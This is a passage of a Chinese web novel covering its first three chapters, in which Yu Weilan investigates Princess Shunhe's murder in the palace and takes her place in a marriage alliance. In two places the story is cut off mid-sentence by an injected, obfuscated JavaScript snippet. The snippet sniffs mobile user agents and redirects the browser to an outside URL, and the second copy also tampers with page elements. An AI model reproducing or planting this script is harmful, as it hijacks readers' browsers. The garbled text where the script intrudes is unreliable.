《我在和亲路上探案》 1. 第1章 深秋时节,破晓时分,天色尚晦,细雨如丝。 淅沥的小雨似银针般自灰白的苍穹轻轻洒落,很快便泛起一层白纱般的薄雾,裹着尚在清梦中的里坊缓缓飘散。 路上行人寥寥,只有几个早起做生意的小商贩在自家店门口站着,朦胧的睡眼还在回味炕头的温暖。不过没回味多久,一辆疾驰的马车便溅着泥从他们身边掠过,将那仅存的困意席卷而去,引起几声不爽的抱怨。 车里坐在正位上的人倒是和外边人一样在打瞌睡,只不过被颠簸地有些狼狈罢了。 “小姐,先吃些饼吧!我特意塞了几片宵夜的烤鸭肉,您昨夜光顾着和二小姐下棋,都没吃什么东西,一会进了宫就更吃不上了。”车内传来一道略显稚嫩的女声。 声音的主人是个梳着双鬟身着青衣的小姑娘,看着年纪不过十五六的样子,桃腮杏眼,正捧着个食盒一脸关切地望着身旁的人。 “等到了我再塞一口吧!别刚吃进去又都给颠出来。”回答的声音带着懒散。 如果是在文衿书院听到这个声音,恐怕立刻会有人上前笑脸相迎地喊“尤小姐”,然后再恭恭敬敬地给她行礼。 尤微兰是京城有名的才女,此时坐在马车里的她身穿一条红黑间色裙,配着小团花对襟和锦绣半臂衫,颇有些婀娜。只是她的坐姿七倒八歪,看上去完全不像是个名门闺秀。 她十四岁时因协助父亲破了一桩奇案而名声大噪,坊间百姓都说她蕙质兰心不愧为大理寺卿的女儿。 可也正是因为这“才气”,不少富贵的官宦人家对她颇有微词,话里话外都在暗讽她父亲教自己的女儿不守本分,以至于眼下她已及笄两年还没有人提亲。 饶是她绣面芙蓉,柳眉星目,也免不了被变本加厉地捆在“不守女子本分”的牌坊上。 众人表面上恭敬守礼,夸赞她有“咏絮之才”,私下却常拿这个事说道。这可急坏了她的父亲尤清正,一度跑到她的皇帝姨父面前求一个赐婚的恩典。 身为话题中心的尤微兰倒是不以为意,每天不是钻到书房偷偷看大理寺的卷宗,就是和其他公子小姐相约出去打马球,时不时还要到文衿书院参加诗社的飞花令引得一众学子侧目。 平日里更是不把什么规矩放在眼里,像是故意与那些背后指点她的人作对一般,专讲些俗话。以至于尤清正忍无可忍地给她下了个禁足令,谁料这禁足的第二天一大早就被十万火急地召进了宫。 尤清正十分高兴,嘴里一边念叨着“陛下还是惦念着自己外甥女的啊!”一边啰嗦嘱咐尤微兰要守规矩,不能坏了皇帝的一番好意。 通宵下棋的尤微兰一步三晃悠,敷衍告别了父亲就想爬到马车上补觉,结果来接她的马车快得像后面有豺狼虎豹在追一样,她只能闭目养养神。 此时,尤微兰正拿着个散发着提神醒脑味道的小药罐,食指蘸着些许轻轻揉着自己隐隐作痛的太阳穴,心中懊恼:再也不通宵下棋了,困得简直像是被黑山老妖吸干了精气。 她身旁的小姑娘愁眉苦脸道:“小姐,少涂些吧!一会让周公公闻到了可不好。还有小姐,可别再说什么吃的东西被颠出来之类的话了,要是让旁人听了去……” 尤微兰眼皮也懒得抬一下,漫不经心地打断道:“莲心你怎么和父亲一样唠叨,且不说今日下雨气味本就散得快,就算是那些人听到我说什么又能把我怎么样呢?左右不过嚼舌根罢了。” 莲心见主子发话便也不好再说什么,于是抱着食盒靠在马车厢上,一副欲言又止的委屈小模样。 一路磕磕绊绊终于到了宫墙下的偏门前,马车刚一停稳,尤微兰便快速将食盒掀开,把夹着鸭肉的饼撕成几小块,然后一股脑儿塞到嘴里。 忙着给她倒茶水的莲心哭笑不得:“小姐,别吃这么急呀。” 尤微兰囫囵咽下嘴里的饼,然后举起茶杯一饮而尽,扯过扔在小木几上的手帕擦了擦嘴,将自己收拾地有个名门小姐的样了之后,才撩起车帘下了车。 站在马车旁等着的,是皇帝身边的周公公,见尤微兰下了车,立刻上前道:“微兰姑娘,陛下遣咱家来接,请吧。” 尤微兰规规矩矩地行了一礼道:“有劳周公公。” 莲心连忙跟在身后给二人撑伞,只是周公公步子快得像是要飞起来,她只好亦步亦趋地走在尤微兰身侧。 三人一前一后地进了偏门,走了几十步又过了道小门,一台小轿子正停在门口等着。 尤微兰眉头微蹙,有些疑惑地看向周公公:“公公,这是……?”往日进宫都是直接走夹道的,怎么今日摆出来个轿子。 周公公不知怎么冷汗不止,汗水混着雨水顺着他不算明显的皱纹淌到了下巴也顾不上擦,只是皮笑肉不笑地解释道:“陛下说坐轿子快些,姑娘请。” 尤微兰只好满腹狐疑地坐上了轿子,藏蓝色的轿帘放下光便被遮了个七七八八,加上轿子里温暖舒适,还有两个软和的垫子,她没一会便沉沉睡了去。 “微兰姑娘请下轿。”周公公似是察觉到她在轿子里睡着了,声音洪亮了许多。 尤微兰连忙拍拍脸颊醒神,然后一板一眼地下了轿。莲心则规矩地站在轿子旁低头等着她。 雨已经停了,可天空还没放晴。 尤微兰小心地站定在青石花砖地上,抬头正想走,望着眼前的景象却一时间愣在原地。 轿子停着的地方,不是她往常去的庆福宫和永禧宫,而是御花园。 匠人精心培养打理的花枝和丰沃的泥土此刻被不分彼此地混在一起,凌乱地堆成几个山丘一样的花土堆,地上是三两仿佛猛兽深渊巨口一样的坑。 周公公小跑着从轿子旁过来,脸上是难掩疲惫的笑:“尤姑娘恕罪,宫中有些变故。” 空气中似有一股腐坏的气味,尤微兰顿感蹊跷,敛了裙裾欠身轻声问道:“不知这御花园中究竟出了何事,我似乎闻到……” 话说到一半,迎面走来一个拿碗的医博士,周公公向她使了个眼色,然后喊住那行色匆匆的医博士问道:“大人,可有发现什么?” 那医博士的脸上沾着些许花泥也顾不得擦,匆匆抬眼看到尤微兰,却是一愣,然后恭敬地冲她行礼道:“顺禾公主万福。” 她与表姐顺禾公主长得很像,尤其是眉眼之间,若是挡住两人的下半张脸,简直分不清谁是谁。 尤微兰正要出声解释,却被周公公挡了下来:“公主便是为此事而来。” 医博士拿袖子抹了抹额上急出来的汗,低着头恭敬地将手中捧着的碗举到两人面前:“是,微臣查验出,此乃一成年男子手部之骨,因酸腐蚀,指节处似遭虫蛀。土中有颗粒状的东西,似乎是玉沙。 “在土里……还发现了许多绣着海棠花纹的帕子,上面都沾着血,有的是新沾上的,有的似是已有十年之久。” 尤微兰不明所以地看向医博士捧着的碗,里面赫然是一只被腐蚀得满是空洞的手骨,上面还沾着些许花土,碗底是薄薄的一层黑色沙子一般的东西。 御花园里挖出了男人的手骨和带血的帕子,就是放到话本里也会觉得匪夷所思。 周公公在一旁轻咳一声,示意她说些什么。 尤微兰眸子一转,点头道:“本宫知晓了。” 医博士闻言仿佛松了一口气,微微起身道:“那微臣便退下了。” 尤微兰学着顺禾公主的样子慢条斯理得一抬下巴,道;“有劳大人。” 周公公站在尤微兰身侧,眯眼笑着,直到医博士的背影消失在了御花园,才转过来急急作揖道:“多谢尤姑娘救急,咱家属实是六神无主。” 尤微兰看向一旁被挖出来的几堆花土,问道:“宫中的变故,是刚才那位医博士提到的手骨吗?” 周公公面露难色,皱着眉犹豫道:“的确如此,但又不只是手骨……陛下请姑娘到御花园,是想让姑娘辨认一支钗。” 说着,一个小太监快步走上前,双手呈上一支海棠花钗。 那花钗以金赤为底,瓣若绯云,碧玺花蕊似星辰般闪耀,尽显娇俏靓丽之姿。 尤微兰小心拿起花钗打量一番,回答:“我从未见过这支钗,恐怕不能辨认。” 周公公紧张的神情顿时消散,听到她不能辨认反而长出一口气道:“那还请姑娘随咱家移步廉政殿。” 尤微兰有些疑惑地看向周公公,刚到御花园还不到一盏茶的时间,就是为了让她看一支钗? 只是她虽有不解却也没问出口,重新上了轿子。 廉政殿。 周公公领着尤微兰进了殿,四根三人合抱才能环住的朱漆柱子围出了一片空旷的空间,三个看不清装扮的人影正匍匐在地上,御座之上的人一手扶额,殿内落针可闻。 周公公快步走上台阶,站在御座旁俯身小声说着些什么。 偌大的廉政殿只有这么几个人,实在是奇怪。 尤微兰小心上前行礼:“臣女尤微兰参见陛下。” 御座两侧点了两盏灯,只能看见明黄的衣角动了动,却隐没了衣角主人的表情。 “微兰不必多礼,召你入宫属实是有件棘手至极的事。”皇帝的声音带着疲惫与悲凉。 “方才你应该已经去御花园瞧过了,前几日两个小宫婢打闹,将耳坠掉在了御花园里。两人刨土翻找时发现有墨玉沙一样的东西,便起了贪念收集起来,隔三差五的跑到御花园挖土找玉沙,谁料昨日竟挖出了人骨。”皇帝一只手扶着太阳穴,闭上了双眼。 然后继续说道:“朕便派人将御花园的土都翻出来仔细查验,便翻出了许多的人骨,还有一只海棠花钗。朕记得德妃曾提起过,你母亲便有一支。” 尤微兰低着头回话:“陛下,此钗并非家母之物。家母的海棠花钗是用蚕丝铜线缠的绒花钗,远不及那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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尤微兰想到这眸色暗了暗,说道:“陛下,臣女愚钝,但自幼与公主一同长大,有几分姐妹情谊。臣女想请命查清害死公主的真凶。” 皇帝长叹一口气,转过身道:“你有此心,朕甚是欣慰,只是此事非同小可,切记不可声张,一会我让周公公跟着你。和亲之事不可再耽搁,等巳时迎亲使臣入宫拿了礼单打点妥当,三日后便同迎亲使臣启程吧!” 尤微兰没想到皇帝真的将公主的案子交给了自己,连忙叩首谢恩道:“臣女定不负陛下所望。” 皇帝坐回到御座上,开口道:“他们是着公主身边的婢女和侍从,也一并同你前去和亲。” 尤微兰看向身后的三个人影,小心道:“谢陛下隆恩。” 皇帝再次没入阴影,轻轻抬手道:“好了,你们先去吧!” 周公公连忙行了礼,从台阶上下来,领着几人出了殿。 殿外的莲心正抱着装点心的匣子靠在栏杆上昏昏欲睡,见尤微兰出来,慌忙摇摇头甩走了眷恋的瞌睡,走上前来。 尤微兰心里五味杂陈,这一早上发生的事实在是又多又乱。顺禾公主死了,她实在是难以置信,强烈的不真实感包裹着她。 离尤微兰最近的是顺禾公主的贴身宫女之一,梳着高髻,身着高腰桃色裙和明黄色的对襟,手臂上还戴着一对银手钏,双眼已经哭得肿了起来。此时正低着头恭敬地等在身后。 尤微兰瞥了一眼,说道:“我记得你好像是顺禾公主身边的宫女吧,叫什么来着?” “奴婢名唤玉蝉。”对方低眉顺眼地回答道。 尤微兰点点头:“那他们两个呢?” 另两个侍从是男子,年纪看着比玉蝉小些,身量相仿。都身穿一身藏蓝色的圆领旗袍,腰间配着湖水绿的香囊,正站在玉蝉身后作揖行礼。 “小的安吉。”“小的安昌。” 两人的声音都带着鼻音,抬起头皆是满脸泪痕,眼睛红得没比玉蝉好到哪去。 尤微兰轻叹一口气:“公主遇害想必你们也受到不小的惊吓,只是想要找到真凶需要几位的协助,还望能助我一臂之力。” 玉蝉轻轻点头道:“公主遇此不测,婢子们皆是伤心万分,姑娘若是有用得上的地方尽管开口。” 尤微兰啜泣着又寒暄两句才转过身走向周公公,眼前的三人就这样不远不近地跟在她身后。 她心里的震惊与疑虑远大过悲伤,有人能在皇宫内杀害公主并脱身,这实在是太过蹊跷。 周公公忙引着尤微兰下了台阶,边走边压低音量说道:“还请姑娘快随咱家来,此案只能由姑娘来看了。” 尤微兰快步跟上,神色凝重:“究竟是怎么一回事?” 周公公用余光四下打量一番,确定没人注意到他们才终于开口道:“公主被人扒得只剩里衣,死在自己宫中赏花用的万芳阁里了。” 2. 第2章 庆福宫。 天上灰暗的乌云已慢慢褪去,深秋的阳光金箔一般飘洒在庆福宫里朱漆华彩的亭台楼阁上,廊腰缦回围出一个雅致的小花园,里面是园林匠人精心栽培的几株紫竹和高度只到小腿的假山石。 来往的宫人都着一身淡黄色,步履匆匆,裙角衣袂随风飘摇翻飞,在这独具韵味的小院子里仿佛一群飞舞的蝴蝶。 他们的神色冷漠而淡然,不曾展露出一点恐惧或不安,冲着几人行礼后便又飘飘然离开了。 周公公对尤微兰解释道:“尤姑娘,陛下为了方便行事,将原本的宫人皆替换成了死士,姑娘不必有所顾虑。” 昨夜耗心劳神的棋局让尤微兰还有些恍惚,如果她不知道昨夜长公主在此处被人谋害而亡,简直以为是某个来找表姐去打马球的平常日子。 听见周公公这么说,尤微兰露出一个了然的表情:“原来如此,陛下真是思虑周全啊!” “小姐,我们这是要去…看顺禾公主吗?”莲心跟在尤微兰身旁,等几人走到了寝殿才小声问道。 尤微兰点点头,也小声回应道:“对。” 莲心看着她眼下的乌青,关切道:“小姐一会休息一下吧,昨夜彻夜未眠呢!” 尤微兰摇摇头,神色凝重:“只怕今夜也要通宵。” 莲心担心地扶住她的胳膊说:“可是这样下去该累垮了。” 尤微兰揉了揉太阳穴,看了看莲心天真的小脸,方才莲心并没有听到周公公的话,不然此刻定是吓得噤了声。她轻声道:“诶,累些便累些,顺禾公主……殁了。” 莲心双目瞪的滚圆,震惊地说不出一句话。 尤微兰赶忙推了推她的胳膊道:“此事不可声张,你一会回府把我的小箱子拿过来。” 莲心快走几步跟上她,面上有些淡淡的悲伤与害怕,心不在焉地问道:“为什么要带小箱子啊?” 及笄时,母亲曾送给她一个千金难求的小首饰箱。那原是母亲的嫁妆,用的是已经覆灭的黎国特产——紫金木,据说这木头能驱邪避害,有市无价。她从小看父亲办案,对各种卷宗里记载的案子格外感兴趣,常自己偷偷誊抄卷宗、制作破案工具,于是这千金难求的首饰箱便成了尤微兰放各种“办案工具”的箱子。 尤微兰轻叹一声,眼中闪过复杂的情绪,道:“我要查明凶手,还要替表姐去和亲。” 莲心闻言震惊地绊了一脚,扯住她的衣袖,呆呆地露出一个快要哭出来的表情,像是要说什么。 尤微兰看着莲心跟着自己熬得通红的双眼,她明白对方的欲言又止,两人从小一起长大,一个眼神就知道对方是什么意思。 而正是因为这样的了解与熟悉,莲心也很清楚尤微兰的才华与灵气,野性与叛逆。 虽然嘴上总提醒自家小姐要做个大家闺秀,可这样鲜活生动的尤微兰才是真实的,也是她钦佩与仰慕的。 莲心还记得尤微兰破的第一个案子,那是两年前的上元节,尤微兰同几个世家小姐出门放河灯,其中一位是当今丞相之女。 几人分别后便各自回家了,谁料第二天晌午丞相府来人说自家小姐今早失踪了。 尤清正便带着人急匆匆赶了过去,而尤微兰也作为闺中好友一同前去。 谁料一行人里里外外将京城翻了个底儿掉也没找到人。 最后是尤微兰通过丞相小姐早上的装扮和吃食推演出对方在城郊七宝寺,心急如焚的丞相不管三七二十一便策马赶了过去。 众人皆跟着到了七宝寺,终于在七宝寺的小厨房发现了昏迷的丞相小姐。 后来等人醒了才知道,那天是七宝寺施粥的日子,丞相小姐起了个大早亲自前去煮粥布施。 可乍暖还寒时候,她关着房门又不大会生火,柴火没燃尽,要是那日众人晚来一会,丞相小姐大抵要殒命在七宝寺了。 经此一番折腾,丞相对尤微兰感激涕零,拉出自己的大儿子便要说亲。 而从那天起,尤微兰的内心萌生出了一种不可抑制的渴望,她想断案。 好奇心仿佛燎原的火种,将她心中学了十几年的礼仪规矩烧了个干净,于是尤微兰拒绝了。 而从那天起,“不守本分”的指责便如影随形地缠上了她。 想到这,莲心的眼眶里浸满了泪水,声音有些颤抖:“可小姐,您是不愿嫁人的啊…” 尤微兰露出一个略带疲惫的笑容,安慰她道:“没事的,就算不是和亲,父亲也总会给我找一个夫婿的。还不如和亲呢,路上还能看看世间百态,离开这闷死人的地方,也算一番经历。” 两人皆沉默着,丢了魂一般低头跟在周公公身后。 直到眼前的路面变成了小石子,周公公才转过头来道:“尤姑娘,此处便是万芳阁了。” 万芳阁是顺禾公主的及笈礼,里面都是公主的心爱之物和御赐的金银珠宝,一层足有四五米高。从诗卷书画到绫罗绸缎宝石翡翠,两层空间被布置得贵气却不庸俗。 庆福宫里的亭台楼阁都颇有一番讲究,只因德妃的母家秦氏是造景建园的好手,顺禾公主从小便对着亭台楼阁和花花草草之类的感兴趣,所以万芳阁周围的草木都是由公主亲自设计挑选的。 玉蝉告诉她,最开始发现异样的是顺禾公主的母亲——德妃。 昨天晚上顺禾公主不知道因为什么与德妃大吵一架,整个庆福宫的人都听到了两人的争吵声,直到皇帝叫德妃回去才了。 等玉蝉进去的时候,殿内一片狼藉,什么珍珠玛瑙玉石玉器的,统统都扫落在地上。 顺禾公主正趴在红木美人榻上泪流不止,钗落鬓散。 宫人们快速收拾了残局,玉蝉也服侍公主洗漱躺下。可是没等躺下一炷香,顺禾公主便说睡不着,起身就要去万芳阁散心,除了玉梓和安昌、安吉再没人跟着。 从万芳阁这一名字就能听出来,这里的花朵繁盛,种类丰富,一年四季都能赏花。 一楼主要用作玩乐聚会、接待来访客人,二楼则是赏花休憩的地方,所以顺禾公主也就歇在了万芳阁。 半夜德妃突然从永禧宫急急忙忙往庆福宫赶,还命人去请了太医。 坐着轿撵到庆福宫外时,却突然惊慌失措地指着万芳阁尖叫起来,几名宫人顺着她所指的地方看去,发现一个白色的人影正被吊万芳阁二层的窗户外。 德妃被吓得就这样直直晕了过去,宫人们再抬头,却发现人影已经消失不见了。 天子最忌讳装神弄鬼,众人不敢逗留,立刻抬着轿撵原路返回。 庆福宫守门的几名侍卫贪嘴偷吃了放在小厨房灶台上的糕点,谁知那是放坏要扔的,于是接二连三的跑茅房,压根不知道里里外外已经翻了天。 而另一边的德妃,回宫后便急急忙忙请了太医来瞧,刚睁开眼睛就惊恐地大喊:“我的顺禾!顺禾被人谋害了!” 那时已是寅时,众人赶到时天还没亮,皆提着灯笼进了万芳阁。 安吉与安昌两人守在门口正打盹,见众人来势汹汹,被吓得睡意全无,哆哆嗦嗦开了门。 屋子里的窗户大开着,秋风卷着湿冷的落花残红飞了进来,床边案前的红烛早已被吹落在地,点点蜡泪混着血痕凝固在地板上。 顺禾公主穿着洁白的里衣,胸口有一道梅花状的伤口,面容安详地倒在案前的紫檀木圈椅上。 离公主几步远的地方躺着同样胸口留下伤口的玉梓,只是玉梓穿戴齐全,已经僵硬的脸上带着震惊的神色。 站在门口的德妃只看了一眼,便痛哭着要扑上去,还好门口的安吉与安昌拦住了,玉梓的妹妹玉蝉也哭得瘫倒在地。 匆匆赶来的皇帝命人带他们下去,又派金吾卫在万芳阁内外把守,直到尤微兰来。 说话间,几人已经绕过里三层外三层的花境和蜿蜒曲折的石子路,来到了万芳阁的大门前。 两名金吾卫站在大门两侧,见来人是周公公,皆恭敬地行了礼,放他们进去。 尤微兰在一楼环顾一圈,突然闻到一阵紫阳花的香气。 她皱起眉,现在已是深秋,早已经过了紫阳花的花期,且顺禾公主从来不在室内养花,表姐一直认为花就应属于天地,不可圈养于室。 平日里室内室外分的很开,屋子里就是有一粒花土也要扫出去。 周公公已经走到了楼梯口,见尤微兰还愣在原地,出言提醒道:“姑娘,还请随咱家上楼查看。” 尤微兰回过神,连忙上前两步跟上,问道:“公公,顺禾公主近日可有在室内养花?” 周公公略作思索,摇摇头:“没有,公主近日倒是对花草之事不似以前那般上心了,前几日还听玉蝉和玉梓说公主这几日像是有什么心事,茶不思饭不想的。” 尤微兰点点头,随即跟着周公公上了楼。 二楼的空间比一楼略小一些,上来便能看到赏花观景的美人靠小露台。 皇宫内为了安全,高大的树木很少见,顺禾公主的万芳阁里却是花草树木样样齐全,从露台向外看,便能瞧见院中那棵婀娜的红枫。 顺禾公主小憩的居室就在尽头,模样精致的门由一扇雅致的屏风半遮半掩地挡着,门口还是由两名金吾卫把守着。 照例行了礼,尤微兰伸手准备开门,却被周公公出言阻止了:“尤姑娘,还是让咱家来吧!” 尤微兰不明所以,还没等她问出口,周公公便伸手拉开了房门。 开门带起的风混着紫阳花浅淡的香气和浓重的血腥气,等房门完全打开,尤微兰才知道为什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15113832|164127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么不让她来开门了。 房间内撒了一地的石灰水,低矮的门槛堪堪将其拦在屋子里,地上横七竖八地倒着三两烛台和一个撒了的花盆,花盆里的土都扣在地上,混着石灰水变成了泥。 顺禾公主就静静躺在桌案前的圈椅上,如果不是胸口处的伤口和毫无生气的苍白面容,还以为她只是躺在椅子上睡着了。 在她身后几步远的玉梓则是头冲门口,一脸惊恐地瞪着双眼,双手以一个扭曲的姿势摆在两侧。 虽然尤微兰做了心理准备,可真的看到曾经与自己嬉戏玩闹,聊天到深夜的顺禾公主就这样静静躺在冰冷的地面上时,心还是狠狠颤了颤。 站在她身后的莲心见状倒吸一口冷气,后退一步,步子摇晃。 玉蝉则不忍看屋内的景象,躲到一旁偷偷啜泣着,安吉与安昌则站在她身侧轻声安慰。 尤微兰忍着情绪,转头对周公公道:“公公,眼下我没有趁手的工具,还望公公能许我的贴身婢女莲心回尤府将我的工具拿来。” 周公公有些为难地看着她:“尤姑娘,不是咱家不通人情不讲道理,只是皇上说了,姑娘进来便是不能回去的。” 尤微兰闻言愣怔了一瞬,她不能回去,莲心也不能回去,这是要软禁她吗? 周公公低头不敢看她的眼睛,终归也只是个传话的人罢了。 尤微兰沉默半晌才点点头道:“我明白了,那还烦请公公帮我拿些纸笔,再寻一位花匠师傅前来协作。” 周公公应下:“咱家这就去,姑娘可还有什么需要的?” 尤微兰看着屋内的景象,略一思索道:“若是公公方便,还请给我几个干净的绸布袋和一把小铲子。” 话音刚落,楼下便传来一个略带口音的男声:“迎亲使珠勒沁敖云恭请顺禾公主圣安,烦请公主赐见。” 周公公听到声音变了脸色,对尤微兰点点头道:“好,那还请姑娘先跟着玉蝉到内间换上顺禾公主的衣裳,一会恐怕迎亲使臣要来面见。安吉,安昌,你们随我去给尤姑娘拿东西。” 周公公将房门合上,对尤微兰道:“这说曹操,曹操到。咱家先下去应付着。玉蝉,你现在便带尤姑娘去内间。” 然后带着安吉和安昌朝楼梯走去,两个小侍从路过时,尤微兰再次闻到了紫阳花的香气。 她皱眉望着三个人渐渐下移的背影,一言不发地站在原地。 玉蝉当尤微兰因自己怠慢而生气,连忙胡乱一抹眼泪,快步走上前道:“姑娘请随我来。” 尤微兰回过神来,却没有跟上去。 她紧盯着顺禾公主,半晌突然走上前,将公主攥紧的手一点点掰开。 身后的几人皆是倒吸一口冷气,莲心正要上前把尤微兰拉回来,她却将一枚雕着衔尾龙模样的玉佩拿了出来。 她小心地把玉佩收好,然后道:“走吧!” 莲心一张小脸都皱成了一团,尤微兰见状说道:“莲心,你去替我打盆水再拿些皂角。” 万芳阁不是日常生活的地方,所以内阁造的很小,只摆了一张小桌子和一把交椅,南侧开了扇精致的小窗,刚好将院子里的红枫框在窗户里,仿佛一卷颇具意境的画。 窗子对面是一个简单却贵气的黄花梨衣架,上面搭着两三件小衫和紫色长襦,都是顺禾公主日常穿的几件衣服。 莲心将打来的水和皂角放在桌子上,盯着尤微兰把指甲缝都洗干净才作罢。 尤微兰边换衣服边问玉蝉:“我记得你与玉梓是姐妹?” 玉蝉闻言,手中的动作一顿,道:“回姑娘的话,婢子与玉梓姐姐是被一同采选上来的,进宫后便结拜为姐妹,并无亲缘。” 她费劲地系着裙带,接着问道:“原来如此,我……我听说公主近日来不怎么高兴,昨夜还与德妃娘娘说了会话,究竟是怎么一回事?” 玉蝉将衣架上的长袖小衫拿下来,回答道:“婢子听说,好像是公主想增加送亲的人,德妃娘娘顾念着不宜奢侈,便拒绝了公主的请求。” 莲心从衣架下面拿出一件叠好的兔毛小马甲,对她说:“小姐,只穿小衫怕是会冷,再加一件马甲吧!” 尤微兰点点头,伸手去拿马甲,刚一展开便发现马甲上沾着几片蓝白色的小花瓣,飘飘然落到了地上,马甲上带着紫阳花的香气。 尤微兰小心地拾起花瓣,拿在手里仔细观察着。 花瓣略显干瘪,却仍有水分,应该是从花朵上掉下来没多长时间。尤微兰直起身子看了眼院中的日晷,从寅时众人赶到万芳阁,到现在天色大亮的辰时三刻,花瓣落下的时间与公主被害的时间应该相差无几。 她拿出自己的帕子将花瓣包好收起来,然后利索地穿好马甲,对两人道:“好了,我们下去吧!” 3. 第3章 旭日东升,吹来丝丝缕缕的风终于带了些惨淡的温度。花境中开着几株清新淡雅的菊花,花瓣和枝叶上还有未干透的雨水,映衬得其晶莹剔透的可爱。 花丛旁的小径上站着位俊朗的少年郎,正弯腰仔细端详着眼前的花朵。 尤微兰换好衣服匆匆从万芳阁走出来,手中拿一柄小团扇半掩着面,身后跟着玉蝉与莲心。 迎亲使虽然见过真正的顺禾公主,不过听周公公说,面见迎亲使多隔着屏风或珠链,距离又比较远,应当是看不真切的。 周公公站在少年身后,见尤微兰下来立刻恭敬地行礼道:“顺禾公主万安。” 少年转过身,跟着周公公一起行礼:“公主万安。” 抬起头,尤微兰才看清了他的样貌:一头柔顺亮泽的乌黑长发半编半散地垂落在肩头,额前散落的几缕碎发下是一条嵌着红色火焰形状的玛瑙皮抹额,五官线条刚硬鲜明的像是由塞外的风沙精心雕琢而成。 尤微兰轻咳一声道:“不必多礼。不知迎亲使前来所为何事?” 敖云站直了身子,琥珀色的瞳孔看向尤微兰,回答道:“今早陛下派人通传,命我等尽快定好礼单,于三日后启程迎娶公主。故而前来与公主商议送亲队伍人选等事宜。” 周公公站在敖云身后给玉蝉使眼色,示意她请人进入万芳阁。 二楼还躺着真正的顺禾公主,竟然就这样把人请进去? 尤微兰心里有些讶异,面上却是会意地挑了挑眉说:“既是如此,还请迎亲使入阁一叙。” 不料周公公对着尤微兰再行一礼,恭敬道:“公主,德妃娘娘昨夜似染了风寒,咱家受陛下之命前去嘱咐两句,就先退下了。” 哦,这是要尤微兰一会也去见见她这姨母德妃呢! “这么说起来,周公公怎的在顺禾公主的万芳阁啊?”敖云突然问,脸上没什么表情,眼神却带着些许犀利的探究。 周公公脸上的笑愈发明显:“迎亲使有所不知,昨夜…庆福宫有人吃坏了东西,没守好门给丢了东西,陛下这才遣我过来查是哪个手脚不干净的犯事。方才有人通传,才得知德妃娘娘病了。” 尤微兰立刻接下话茬,将这个谎圆回来:“这查了半天才知是误会一场,原是我自己忘记将东西放到万芳阁了。不知母妃竟染了风寒,一会定了送亲人选我便去母妃宫里看看。” 敖云了然地点点头,假模假样地打官腔:“殿下真是纯孝可嘉,令人动容。” 尤微兰瞥了眼周公公,然后转过头来对敖云道:“迎亲使谬赞,请吧!” 敖云看了眼门口的两名金吾卫,眯了眯眼,没说什么,跟着尤微兰进了门。 对方不问,尤微兰也不解释,免得此地无银三百两。 一前一后地走到南向赏花的茶轩,茶轩摆了张小茶桌和几个绣墩。 玉蝉走到一旁的小书框里拿出一个小册子,然后恭敬地站在一旁等两人落座。莲心则有眼色地给两人摆好绣墩倒好茶水。 尤微兰用余光悄悄打量着敖云,京城里不难见外邦人,只是多数皆因身份有别没什么打交道的机会。 大虞虽是鼓励与外邦往来贸易,可在京城的富贵圈子里,皇亲贵胄们都私下将外邦人和与汉人通婚生的孩子视作下等人。 尤微兰的姨母德妃刚入宫时,曾有谣言说是因其有黎国血统善歌舞,天子为了取乐才封其为德妃。 眼前的敖云与她印象中格外魁梧的外邦人不同,高大且身型紧实,看着像是一头蓄势待发的猎豹。 莲心将茶盏递到尤微兰眼前,她才从思绪中回过神来。 “这位,也是殿下身边的人吗?怎么从前从未见过。”敖云似是随意地问道。 莲心闻言手抖了一下,尤微兰立刻接过茶盏,将莲心的动作掩盖过去。 想不到这个迎亲使还会注意到这些,她心中默默地想,眼神带了些不易察觉的戒备:“她原是母妃宫里的,这几日我这事多,母妃便将她派来帮忙了。” 敖云点点头,脸上是让人捉摸不定的笑意:“原来如此,德妃娘娘真是拳拳爱女之心。” 说罢从口袋里拿出一卷红底金字的卷轴,将其呈上:“殿下,这是此次迎亲的礼单。回绥虽不似大虞疆土辽阔,土丰物饶,却因着地势优渥略有积累,单子上的东西都是回绥的至宝,还望公主不嫌微薄。” 尤微兰接过卷轴,装模作样地仔细看着。 她对什么玉石珠宝知之甚少,真正的顺禾公主倒是对此颇有研究,只是眼下多说多错,尤微兰一手扶额道:“这礼单,拟了多久来着?” 玉蝉小心地回她:“殿下,上次您看过后,说红珊瑚和金丝玉数目对不上。自那次看过后,已经有两日了。” 尤微兰立刻会意,看了眼红珊瑚和金丝玉标的字和题头的字两相对应,这才放下心来:“诶,最近琐事太多,还好你记着。既然礼单都改好了,那便和送亲人选一起定了吧!” 玉蝉立刻将手中的小册子递过来,尤微兰慢条斯理地翻阅着,敖云则云淡风轻地喝着茶。 陪嫁的宫女侍卫、从小跟到大的嬷嬷、护送的镇威将军和太医院的两位太医…… ?宋砚修? 尤微兰看到名册上的这个名字皱起了眉,他怎么会在这个名单上? 宋砚修是顺禾公主原定的驸马,本来都要准备成亲了,不料回绥提出和亲的请求,可适龄的公主就只有顺禾一个,于是便退了婚。 尤微兰知道表姐和宋砚修是两情相悦,难道昨夜公主和德妃的争吵就是因为宋砚修? 可是宋砚修要以什么身份送亲呢?他是宋国公的儿子,去年刚中了举人当上了礼部员外郎,跟着去和亲完全是自毁前程。 她看着名册上还没盖印确认的名字,有些发愁地轻叹一口气道:“名单上有几人还需要和母妃确认,等定好了遣人给迎亲使送去如何?” 敖云一只手端着茶盏仔细端详着,听到尤微兰这么说,好整以暇地放下茶盏道:“多谢殿□□恤,那在下便先告退了。” 说罢便起身行礼,尤微兰坐在桌前品着茶,突然眼前闪过一道强光,刺得她眯起眼来。 